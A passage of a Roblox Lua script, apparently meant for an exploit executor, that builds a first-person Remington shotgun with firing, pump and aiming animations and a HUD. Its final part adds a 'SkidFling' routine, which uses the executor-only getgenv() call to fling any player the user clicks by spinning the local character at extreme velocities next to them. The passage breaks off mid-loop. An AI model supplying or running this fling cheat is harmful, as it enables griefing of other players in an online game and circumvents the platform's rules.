mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 1.91535277e-009, -1.719431e-007, -3.02358383e-009, 0.99997896, -0.00644563884, 1.71927184e-007, 0.00644563884, 0.99997896),C1 = CFrame.new(0, 0.383052826, -0.780578613, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3600006, 238.492996, 0.999998927, -3.02360537e-009, 1.71926985e-007, 1.91531191e-009, 0.999976873, 0.00644556619, -1.7194256e-007, -0.00644565001, 0.999975801),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.380008698, -0.553588867, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2779999, 237.785995, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.222222224, 0.611111104),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.291633606, 0.152648926, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3100014, 237.886993, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.111111112, 0.388888896),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.324546814, 0.051940918, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.972, 34.413002, 238.177002, 0.999999285, -4.6309421e-007, 3.99015931e-008, 4.63434333e-007, 0.999956846, -0.00901973248, -3.57230014e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.111111112, 0.166666672),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 4.63435327e-007, -3.57230583e-008, -4.63094551e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0220031738, 0.430156708, -0.237121582, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2769966, 237.886002, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.222222224, 0.388888896),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.291534424, 0.0526275635, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.016006, 34.413002, 238.177002, 0.999999285, -4.6309421e-007, 3.99015931e-008, 4.63434333e-007, 0.999956846, -0.00901973248, -3.57230014e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.111111112, 0.166666672),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 4.63435327e-007, -3.57230583e-008, -4.63094551e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(-0.0220031738, 0.430156708, -0.237121582, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
GL = New("Part",Remington_Model,"GL",{BrickColor = BrickColor.new("Lime green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.018005, 34.4080009, 238.164001, -2.55810937e-005, 0.99999541, 4.44010794e-007, 0.00644205138, -2.61311766e-006, 0.999974191, 0.999975204, 2.87519579e-005, -0.00644677132),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0, 1, 0),})
Mesh = New("BlockMesh",GL,"Mesh",{Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0700000003),})
Fire = New("Fire",GL,"Fire",{Size = 30,Color = Color3.new(1, 0.678431, 0),Enabled = false,Heat = 25,SecondaryColor = Color3.new(1, 0, 0),})
mot = New("Motor",GL,"mot",{Part0 = GL,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -2.55811137e-005, 0.00644209515, 0.999978006, 0.999996126, -2.61312243e-006, 2.87520379e-005, 4.4401105e-007, 0.999976337, -0.00644675922),C1 = CFrame.new(-0.0240020752, 0.425041199, -0.22416687, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
local CamModel = Instance.new('Model',workspace.CurrentCamera)
CamModel.Name = Plr.Name
Instance.new('Humanoid',CamModel)
humanoid.Died:connect(function()
CamModel:Destroy()
Plr.CameraMode = 'Classic'
game:service'UserInputService'.MouseIconEnabled = true
end)
ypcall(function()
Char.Shirt:Clone().Parent = CamModel
end)
-------------------------------------------------------------
local fRemington_Model = Remington_Model:Clone()---------------------------------
fRemington_Model.Parent = CamModel-------------------------------------
--fRemington_Model.Mag:Destroy()-----------------------------------------
--fRemington_Model.Mag2:Destroy()----------------------------------------
local fRemington_ModelW = Weld(Remington_Model.Handle,fRemington_Model.Handle,CF(0,0,0))---
for index,obj in next,fRemington_Model:children() do-------------------
if obj:IsA'Part' then----------------------------------------
obj.CanCollide = false---------------------------------------
end;end;-----------------------------------------------------
-------------------------------------------------------------
local frarm = rarm:Clone()-----------------------------------
frarm.CanCollide = false-------------------------------------
frarm.FormFactor = 3-----------------------------------------
frarm.Size = Vector3.new(.7,3,.7)--------------------------
frarm.Parent = CamModel--------------------------------------
local frarmW = Weld(rarm,frarm,CF(0,0,0))--------------------
-------------------------------------------------------------
local flarm = larm:Clone()-----------------------------------
flarm.CanCollide = false-------------------------------------
flarm.FormFactor = 3-----------------------------------------
flarm.Size = Vector3.new(.7,3,.7)--------------------------
flarm.Parent = CamModel--------------------------------------
local flarmW = Weld(larm,flarm,CF(0,0,0))--------------------
-------------------------------------------------------------
clerp = function(c1,c2,al)
local com1 = {c1.X,c1.Y,c1.Z,c1:toEulerAnglesXYZ()}
local com2 = {c2.X,c2.Y,c2.Z,c2:toEulerAnglesXYZ()}
for i,v in pairs(com1) do
com1[i] = v+(com2[i]-v)*al
end
return CF(com1[1],com1[2],com1[3]) * Angles(select(4,unpack(com1)))
end
lerp = function(c1,c2,al)
return c1:lerp(c2,al)
end;
NewSound = function(Parent, Id)
local Sound = Instance.new('Sound',Parent)
Sound.SoundId = 'rbxassetid://'..Id
return Sound
end
local lRS = game:service'RunService'.RenderStepped
local RAW = Weld(head,ra,CF(-1.1, 0.41, 0)*Angles(rad(-45), rad(0), 0))
local LAW = Weld(rarm,la,CF(1.95,0,0)*Angles(rad(3), rad(0), rad(-45)))
--[[
local RAW = Weld(torso,ra,CF(-1.1, 0.41, 0.51)*Angles(rad(-90), rad(0), 0))
local LAW = Weld(rarm,la,CF(1.6,0,0)*Angles(rad(3), rad(0), rad(-45)))
]]
local HW = Weld(torso,hed,CF(0,-1.5,0)*Angles(0,rad(0),0))
local TW = Weld(root,torso,CF(0,0,0))
local HandleWeld = Weld(rarm,Handle,Angles(rad(90),0,0)*CF(.3,.5,.4))
local neck = torso:WaitForChild'Neck'
local Debounce = false
local SFX = function(Parent,Type)
Type = tostring(Type:lower())
local Sound = Instance.new('Sound',Parent)
game.Debris:AddItem(Sound,10)
if Type == 'gunshot' then
Sound.SoundId = 'rbxassetid://265294743'
--print'gs'
elseif Type == 'reload' then
Sound.SoundId = 'rbxassetid://137563489'
elseif Type == 'shellin' then
Sound.SoundId = 'rbxassetid://163915632'
--print'si'
end
return Sound
end;
Reload = function()
end;
Fire = function(TrailBool)
TrailBool = true
for bullet = 0, 5 do
spawn(function()
if char.Humanoid.Health < 1 then return end
local rayPart = Instance.new("Part", workspace)
rayPart.Name = "RayPart"
rayPart.BrickColor = BrickColor.new'Deep orange'
rayPart.Anchored = true
rayPart.CanCollide = false
rayPart.TopSurface = Enum.SurfaceType.Smooth
rayPart.BottomSurface = Enum.SurfaceType.Smooth
rayPart.formFactor = Enum.FormFactor.Custom
rayPart.Size = Vector3.new(0.2, 0.2, 4)
rayPart.Material = 'Neon'
--print'bul created'
Instance.new("BlockMesh", rayPart).Scale = Vector3.new(0.2, 0.2, 0.5)
local bulletposition = (Barrel.CFrame*CF(0,3,0)).p
local bulletvelocity = (Vector3.new(math.random(-spread,spread), math.random(-spread,spread), math.random(-spread,spread)))+( (Barrel.CFrame*CF(0,500,0)).p - bulletposition).unit*1000
local bulletlastposition = bulletposition
rayPart.CFrame = CFrame.new( bulletposition, bulletposition+bulletvelocity )
--print'set cf'
while true do
local dt = wait()
bulletlastposition = bulletposition
bulletvelocity = bulletvelocity + (Vector3.new(0, 0, 0)*dt)
bulletposition = bulletposition + (bulletvelocity*dt)
local Tbl = { char, rayPart,Remington_Model,fRemington_Model}
local ray = Ray.new(bulletlastposition, (bulletposition - bulletlastposition))
local hit, hitposition = workspace:FindPartOnRayWithIgnoreList( ray, Tbl )
--print'made ray'
if TrailBool == true and rayPart.Parent ~= nil then
local dst = (bulletlastposition-bulletposition).magnitude
local Trl = Instance.new('Part',workspace)
table.insert(Tbl, Trl)
local t = Trl
t.FormFactor = 3
t.Size = Vector3.new(.2,.2,dst)
t.CFrame = CFrame.new(bulletlastposition,bulletposition) * CF(0,0,-dst/2)
t.Material = 272
t.CanCollide = false
t.Color = rayPart.Color
t.Transparency = .1
--reclr(t)
t.Anchored = true
local msh = Instance.new('BlockMesh',t)
msh.Scale = Vector3.new(.25,.25,1)
spawn(function()
wait()
local nmb = 20
for i = 0,nmb do
t.Transparency = t.Transparency + (1/nmb)
game:service'RunService'.Stepped:wait()
end
t:Destroy()
end)
end
--print'passed trail'
if (torso.Position - rayPart.Position).magnitude > 200 then
rayPart:Destroy()
break
end
if hit then
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if not hit.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
if hit.Parent:findFirstChild("Humanoid").Health <= 0 then
rayPart.CFrame = CFrame.new(bulletposition, bulletposition+bulletvelocity)
rayPart:Destroy()
return end
end
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if not hit.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
ypcall(function()
HMSound:Play()
HitM.ImageTransparency = 0
wait(.1/1.5)
HitM.ImageTransparency = 1
end)
if not hit.Parent then return end
hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health
end
if hit.Name == 'Head' and hit.Parent:findFirstChild("Humanoid") ~= nil then
if not hit.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
spawn(function()
wait(.1)
if hit.Parent:findFirstChild("Humanoid").Health <= 0 then
local s = Instance.new('Sound',hit)
s.SoundId = 'rbxassetid://142445692'
s:Play()
s:Destroy()
end
end)
end
if hit.Parent:IsA("Hat") and hit.Parent.Parent:findFirstChild("Humanoid") ~= nil then
if not hit.Parent.Parent:findFirstChild("Humanoid"):IsA'Humanoid' then return end
hit:BreakJoints()
end
bulletposition = hitposition
rayPart.CFrame = CFrame.new(bulletposition, bulletposition+bulletvelocity)
rayPart:Destroy()
break
end
rayPart.CFrame = CFrame.new(bulletposition, bulletposition+bulletvelocity)
end
end)
end
spawn(function()
spawn(function()
local knb = 3
for i = 1,knb do
CurCam.FieldOfView = CurCam.FieldOfView + 1
game:service'RunService'.Stepped:wait()
end
for i = 1,knb do
CurCam.FieldOfView = CurCam.FieldOfView - 1
game:service'RunService'.Stepped:wait()
end
end)
local a,b = math.random(13,21),math.random(-12,12)
for i = 1,4 do
CurCam.CoordinateFrame = CurCam.CoordinateFrame:lerp(CurCam.CoordinateFrame*Angles(rad(a),rad(b),0),.1)
game:service'RunService'.Stepped:wait()
end;end)
wait(0.05)
end
Pump = function()
for i = 1,5 do
CurrentRightArmAngle = clerp(CurrentRightArmAngle,CF(0,-.55,-.5)*Angles(rad(20),0,0),.85)
CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,-1.25,0),.95)
wait()
end
local GS = SFX(rarm,'reload')
GS.Volume = 1
GS.Pitch = 1.25
GS:Play()
for i = 1,5 do
CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,-.45,0),.95)
wait()
end
------------------
for index,obj in next, Remington_Model:children() do
if obj.Name == 'PumpPart' then
spawn(function()
if obj:FindFirstChild'mot' then
local mot = obj:FindFirstChild'mot'
--print'found mot'
mot.C0 = mot.C0 * CF(0,0,.5)
end
end)end
end
for index,obj in next, Remington_Model:children() do
if obj.Name == 'PumpPart' then
spawn(function()
if obj:FindFirstChild'mot' then
local mot = obj:FindFirstChild'mot'
--print'found mot'
mot.C0 = mot.C0 * CF(0,0,.5)
end
end)end
end
------------------
for index,obj in next, Remington_Model:children() do
if obj.Name == 'PumpPart' then
spawn(function()
if obj:FindFirstChild'mot' then
local mot = obj:FindFirstChild'mot'
--print'found mot'
for i = 1,5 do
wait()
mot.C0 = clerp(mot.C0,CF(0,.25,0)*Angles(rad(90),0,0),.5)
end end
end)end
end
for index,obj in next, fRemington_Model:children() do
if obj.Name == 'PumpPart' then
spawn(function()
if obj:FindFirstChild'mot' then
local mot = obj:FindFirstChild'mot'
--print'found mot'
for i = 1,5 do
wait()
mot.C0 = clerp(mot.C0,CF(0,.25,0)*Angles(rad(90),0,0),.5)
end
end
end)end
end
------------------
for i = 1,5 do
CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,-1.25,0),.95)
wait()
end
------------------
for index,obj in next, Remington_Model:children() do
if obj.Name == 'PumpPart' then
spawn(function()
if obj:FindFirstChild'mot' then
local mot = obj:FindFirstChild'mot'
--print'found mot'
for i = 1,5 do
wait()
mot.C0 = clerp(mot.C0,CF(0,0,0)*Angles(rad(90),0,0),.5)
end end
end)end
end
for index,obj in next, fRemington_Model:children() do
if obj.Name == 'PumpPart' then
spawn(function()
if obj:FindFirstChild'mot' then
local mot = obj:FindFirstChild'mot'
--print'found mot'\
for i = 1,5 do
wait()
mot.C0 = clerp(mot.C0,CF(0,0,0)*Angles(rad(90),0,0),.5)
end end
end)end
end
------------------
wait()
for i = 1,7 do
CurrentRightArmAngle = clerp(CurrentRightArmAngle,CF(0,0,0)*Angles(0,0,0),.85)
CurrentLeftArmAngle = clerp(CurrentLeftArmAngle,CF(0,0,0),.95)
wait()
end
end;
Recoil = function(Int)
for i = 1,Int do
RTilt = i
wait()
end
for i = 1,Int do
RTilt = Int-i
wait()
end
end;
CanFire = true
Reloading = false
local CurrentRightArmAngle2 = CF(0,0,0)
local sp = spread
local Aimin = false
AimIn = function()
sway = false
CurCam.FieldOfView = 45
game:service'RunService'.Stepped:wait()
CurCam.FieldOfView = 35
Aimin = true
for i = 1,5 do
CurrentRightArmAngle2 = clerp(CurrentRightArmAngle2,CF(-1.15,0,-.2)*Angles(0,0,0),.8)
game:service'RunService'.Stepped:wait()
end
spread = spread - (sp/2)
end
AimOut = function()
sway = true
CurCam.FieldOfView = 45
game:service'RunService'.Stepped:wait()
CurCam.FieldOfView = 60
Aimin = false
for i = 1,5 do
CurrentRightArmAngle2 = clerp(CurrentRightArmAngle2,CF(0,0,0)*Angles(0,0,0),.8)
game:service'RunService'.Stepped:wait()
end
spread = sp
end
CanAimAndShoot = true
Mouse.Button1Down:connect(function()
if Reloading == false and CanFire == true and CanAimAndShoot then
CanFire = false
local GS = SFX(rarm,'GunShot')
GS.Volume = 1
GS.Pitch = 1.25
GS:Play()
Fire(false)
spawn(function()
--Recoil(20)
end)
Pump()
CanFire = true
end
end)
Mouse.Button1Up:connect(function()
MouseDown = false
end)
Mouse.Button2Down:connect(function()
Mouse2Down = true;
if CanAimAndShoot then
AimIn()
end
end)
Mouse.Button2Up:connect(function()
Mouse2Down = false;
if CanAimAndShoot then
AimOut()
end
end)
local runnin = false
Mouse.KeyDown:connect(function(k)
kb = k:byte()
k = k:lower()
if k == 'q' and CanAimAndShoot then
AimIn()
elseif kb == 48 then
runnin = true
end
end)
Mouse.KeyUp:connect(function(k)
kb = k:byte()
k = k:lower()
if k == 'q' and CanAimAndShoot then
AimOut()
elseif kb == 48 then
runnin = false
end
end)
MakeGui = function(Scale)
Gui = Instance.new('ScreenGui',Plr:WaitForChild'PlayerGui')
HitM = Instance.new('ImageLabel',Gui)
HitM.Size = UDim2.new(0,85*2,0,85*2)
HitM.Position = UDim2.new(.5,-85,.5,-115)
HitM.BackgroundTransparency = 1
HitM.ImageTransparency = 1
HitM.Image = 'rbxassetid://176067512'
Frame = Instance.new('Frame',Gui)
Ammo = Instance.new('TextLabel',Frame)
Stored = Instance.new('TextLabel',Frame)
-------------
Frame.Size = UDim2.new(0,60*Scale,0,25*Scale)
Frame.BackgroundTransparency = .75
Frame.BorderSizePixel = 0
Frame.BackgroundColor3 = Color3.new(255,255,255)
Frame.Position = UDim2.new(1,-10+(-60*Scale),1,-10+(-25*Scale))
-------------
Ammo.Size = UDim2.new(.487,3,.72,0)
Ammo.BackgroundTransparency = 1
Ammo.TextColor3 = Color3.new(-1,-1,-1)
Ammo.FontSize = 'Size28'
Ammo.Font = 'SourceSansBold'
Ammo.Text = ''
-------------
Stored.Size = UDim2.new(.4,3,.5,0)
Stored.Position = UDim2.new(.6,-4,.35,0)
Stored.BackgroundTransparency = 1
Stored.TextColor3 = Color3.new(-1,-1,-1)
Stored.FontSize = 'Size28'
Stored.Font = 'SourceSansBold'
Stored.Text = ''
-------------
Mode = Instance.new('TextLabel',Frame)
Mode.Size = UDim2.new(.4,3,.5,0)
Mode.Position = UDim2.new(.6,-4,0,0)
Mode.BackgroundTransparency = 1
Mode.TextColor3 = Color3.new(-1,-1,-1)
Mode.FontSize = 'Size24'
Mode.Font = 'SourceSansLight'
Mode.Text = '[ SEMI ]'
-------------
Slash = Instance.new('TextLabel',Frame)
Slash.Size = UDim2.new(.4,3,.5,0)
Slash.Position = UDim2.new(.3,0,.24,0)
Slash.BackgroundTransparency = 1
Slash.TextColor3 = Color3.new(-1,-1,-1)
Slash.FontSize = 'Size60'
Slash.Font = 'SourceSansBold'
Slash.Rotation = 5
Slash.Text = '/'
-------------
end;
HW.C0 = torso.CFrame:toObjectSpace(head.CFrame)
MakeGui(3)
local LKPart = torso
local Camera = workspace.CurrentCamera
local CurrentRightArmAngle3 = CF(0,0,0)
MoveArms = function(mouse)
mouse=Mouse
local dir = -math.asin(mouse.UnitRay.Direction.unit.y)
HW.C1 = clerp(HW.C1,Angles(dir,0,0),.5)
RAW.C0 = clerp(RAW.C0,CF(.35,-1,0) * Angles(rad(45), 0, 0)*(CurrentRightArmAngle)*(CurrentRightArmAngle2)*(CurrentRightArmAngle3),.5)
--[[
local Target = Camera.CoordinateFrame * CFrame.new(0, 0, -95)
local headpos = (ts.CFrame * CFrame.new(0,2,0)).p
RAW.C1 = lerp(RAW.C1,((CFrame.new(headpos, Target.p) - headpos):inverse()) * (ts.CFrame - ts.Position)*(CurrentRightArmAngle)*(CurrentRightArmAngle2),.3)
local TorsoTarget = CFrame.new(Target.x, ts.CFrame.y, Target.z)
ts.CFrame = CFrame.new(ts.CFrame.p, TorsoTarget.p)
--]]
end
local State = 'Idle'
local DebounceState = false
game:service'RunService'.RenderStepped:connect(function()
LAW.C0 = clerp(LAW.C0,(CurrentLeftArmAngle),.5)
MoveArms()
Camera = workspace.CurrentCamera
if runnin == true then
CanAimAndShoot = false
if Aimin == true and CanAimAndShoot == false then
AimOut()
end
hum.WalkSpeed = 30 else
CanAimAndShoot = true
hum.WalkSpeed = 20 end
if (torso.Velocity*Vector3.new(1, 0, 1)).magnitude < 15 and DebounceState == false then
State = 'Idle'
--print'Idle'
elseif (torso.Velocity*Vector3.new(1, 0, 1)).magnitude >= 15 and (torso.Velocity*Vector3.new(1, 0, 1)).magnitude < 26 and DebounceState == false then
State = 'Walking'
--print'Walking'
elseif (torso.Velocity*Vector3.new(1, 1, 1)).magnitude >= 26 and DebounceState == false then
State = 'Running'
--print'Running'
end
if State == 'Idle' then
if sway then
CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(0,sin(tick()*(4))/25,0),.5)
else
CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(0,sin(tick())/35,0),.01)
end
elseif State == 'Walking' then
CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(sin(tick()*8)/20,sin(tick()*(8*2))/20,0),.5)
elseif State == 'Running' then
CurrentRightArmAngle3 = clerp(CurrentRightArmAngle3,CF(sin(tick()*11)/20,-1+sin(tick()*(11*2))/20,.2)*Angles(rad(45),rad(20),rad(-10)),.5)
elseif State == 'Testing' then
end
end)
Plr.CameraMode = 'LockFirstPerson'
Plr.Chatted:connect(function(msg)
--[[if msg == 'r-|' then
Plr.CameraMode = 'Classic'
CamModel:Destroy()
Plr.Character:BreakJoints()
end--]]
end)
--print'To fix your camera and kill your character, say "r-|"'
----
local Players = game:GetService("Players")
local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
Mouse.Button1Down:Connect(function()
local Target = Mouse.Target
if Target and Target.Parent and Target.Parent:IsA("Model") and Players:GetPlayerFromCharacter(Target.Parent) then
local PlayerName = Players:GetPlayerFromCharacter(Target.Parent).Name
local player = game.Players.LocalPlayer
local Targets = {PlayerName}
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local AllBool = false
local GetPlayer = function(Name)
Name = Name:lower()
if Name == "all" or Name == "others" then
AllBool = true
return
elseif Name == "random" then
local GetPlayers = Players:GetPlayers()
if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
return GetPlayers[math.random(#GetPlayers)]
elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
for _,x in next, Players:GetPlayers() do
if x ~= Player then
if x.Name:lower():match("^"..Name) then
return x;
elseif x.DisplayName:lower():match("^"..Name) then
return x;
end
end
end
else
return
end
end
local Message = function(_Title, _Text, Time)
print(_Title)
print(_Text)
print(Time)
end
local SkidFling = function(TargetPlayer)
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart
local TCharacter = TargetPlayer.Character
local THumanoid
local TRootPart
local THead
local Accessory
local Handle
if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory = TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessoy and Accessory:FindFirstChild("Handle") then
Handle = Accessory.Handle
end
if Character and Humanoid and RootPart then
if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit and not AllBool then
end
if THead then
workspace.CurrentCamera.CameraSubject = THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject = Handle
elseif THumanoid and TRootPart then
workspace.CurrentCamera.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end
local FPos = function(BasePart, Pos, Ang)
RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
end
local SFBasePart = function(BasePart)
local TimeToWait = 2
local Time = tick()
local Angle = 0
repeat
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
